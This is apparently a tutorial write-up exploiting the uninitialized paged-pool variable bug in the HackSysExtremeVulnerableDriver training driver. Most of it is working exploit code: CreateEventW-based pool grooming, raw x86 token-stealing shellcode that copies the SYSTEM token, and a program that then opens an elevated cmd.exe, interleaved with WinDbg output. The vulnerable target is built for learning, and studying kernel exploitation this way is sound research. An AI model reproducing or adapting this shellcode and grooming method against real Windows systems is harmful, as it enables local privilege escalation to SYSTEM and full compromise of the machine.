original file renamed to UninitializedMemoryPagedPool.c
Now our way is Uninitialized Heap Variable
-
- bp HEVD!TriggerUninitializedHeapVariable
-
- bp HEVD!TriggerUninitializedHeapVariable+119
Simply the same idea as in the previous one, but now it’s from heap
I’ll use this post to recreate the exploit in c++ and get some instructions in the process
Simple pattern as in first parts:
#include <stdio.h>
#include <Windows.h>
HANDLE hDevice;
int main() {
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+] Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+] Success to get HANDLE!\n");
DWORD bReturn = 0;
char buf[4] = { 0xb0, 0xb0, 0xd0, 0xba };
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
return 0;
}
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0xAC085188
[+] UserValue: 0xBAD0B0B0
[+] UninitializedHeapVariable Address: 0xAB83BA98
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0xBAD0B0B0
[+] UninitializedHeapVariable->Callback: 0x905ACD58
kd> u 0x905ACD58
905acd58 688ad95a90 push offset HEVD! ?? ::NNGAKEGL::`string' (905ad98a)
905acd5d e8a4c2ffff call HEVD!DbgPrint (905a9006)
905acd62 59 pop ecx
Everything is okay, our template is ready
Let’s provide anything except for 0xBAD0B0B0 value:
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x8CD65960
[+] UserValue: 0x41414141
[+] UninitializedHeapVariable Address: 0xAB96DA98
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x557BBF9D
[-] Exception Code: 0xC0000005
Looks like the same previous post about Pool Feng-Shui where we used CreateEvent’s
Most important thing to note here is that even though the event object itself is allocated to Non-Paged Pool, the last parameter, lpName of type LPCTSTR is actually allocated on the Paged Pool.
And we can actually define what it contains and its length.
Important moments to notice:
- We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.
- Maximum Blocksize for Lookaside list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the ListHead.
- We need to allocate 256 objects of same size and then freeing them. If the list is not populated, then the allocation would come from ListHead list.
- We need to make sure that the string for the object name is random for each call to object constructor, as if same string is passed to consecutive calls to object constructor, then only one Pool chuck will be served for all further requests.
- We also need to make sure that our lpName shouldn’t contain any NULL characters, as that would change the length of the lpName, and the exploit would fail. (important, here VirtualAlloc wouldn’t work)
We’d be giving lpName a size of 0xF0, the header size would be 0x8, total 0xF8 chunks. The shellcode we’d borrow from our previous tutorial
Thanks Thunder_J for his code
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0xAE8BCD40
[+] UserValue: 0x41414141
[+] UninitializedHeapVariable Address: 0x8FBD5A98
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x0015F990
kd> !pool 0xAE8BCD40
Pool page ae8bcd40 region is Unknown
ae8bc000 size: 30 previous size: 0 (Allocated) CMVa
ae8bc030 size: 8 previous size: 30 (Free) SeAt
...
ae8bc7c8 size: 570 previous size: 128 (Allocated) Toke (Protected)
*ae8bcd38 size: f8 previous size: 570 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
kd> dd ae8bcd38
ReadVirtual: ae8bcd38 not properly sign extended
ae8bcd38 061f02ae 6b636148 00000000 0015f990
ae8bcd48 41414141 41414141 41414141 41414141
ae8bcd58 41414141 41414141 41414141 41414141
ae8bcd68 41414141 41414141 41414141 41414141
ae8bcd78 41414141 41414141 41414141 41414141
ae8bcd88 41414141 41414141 41414141 41414141
ae8bcd98 41414141 41414141 41414141 41414141
ae8bcda8 41414141 41414141 41414141 41414141
kd> u 0015f990
0015f990 60 pushad
0015f991 64a124010000 mov eax,dword ptr fs:[00000124h]
0015f997 8b4050 mov eax,dword ptr [eax+50h]
0015f99a 89c1 mov ecx,eax
0015f99c 8b98f8000000 mov ebx,dword ptr [eax+0F8h]
#include <stdio.h>
#include <Windows.h>
HANDLE hDevice = NULL;
static VOID CreateCmd() {
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main() {
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-]Failed to get HANDLE!\n");
exit(0);
}
printf("[+]Success to get HANDLE!\n");
HANDLE Event_OBJECT[0x1000];
char Shellcode[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\xC3"
);
//LPVOID Shellcode_Addr = VirtualAlloc(NULL,
// sizeof(Shellcode),
// MEM_COMMIT | MEM_RESERVE,
// PAGE_EXECUTE_READWRITE);
//memcpy(Shellcode_Addr, Shellcode, sizeof(Shellcode));
DWORD bReturn = 0;
char lpName[0xf0] = { 0 };
char buf[4] = { 0x41, 0x41, 0x41, 0x41 };
memset(lpName, 0x41, 0xf0);
printf("lpName is in 0x%p\n", lpName);
for (int i = 0; i < 256; i++) {
*(PDWORD)(lpName + 0x4) = (DWORD)&Shellcode;
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);
}
for (int i = 0; i < 256; i++) {
CloseHandle(Event_OBJECT[i]);
i += 4;
}
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
//__debugbreak();
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
return 0;
}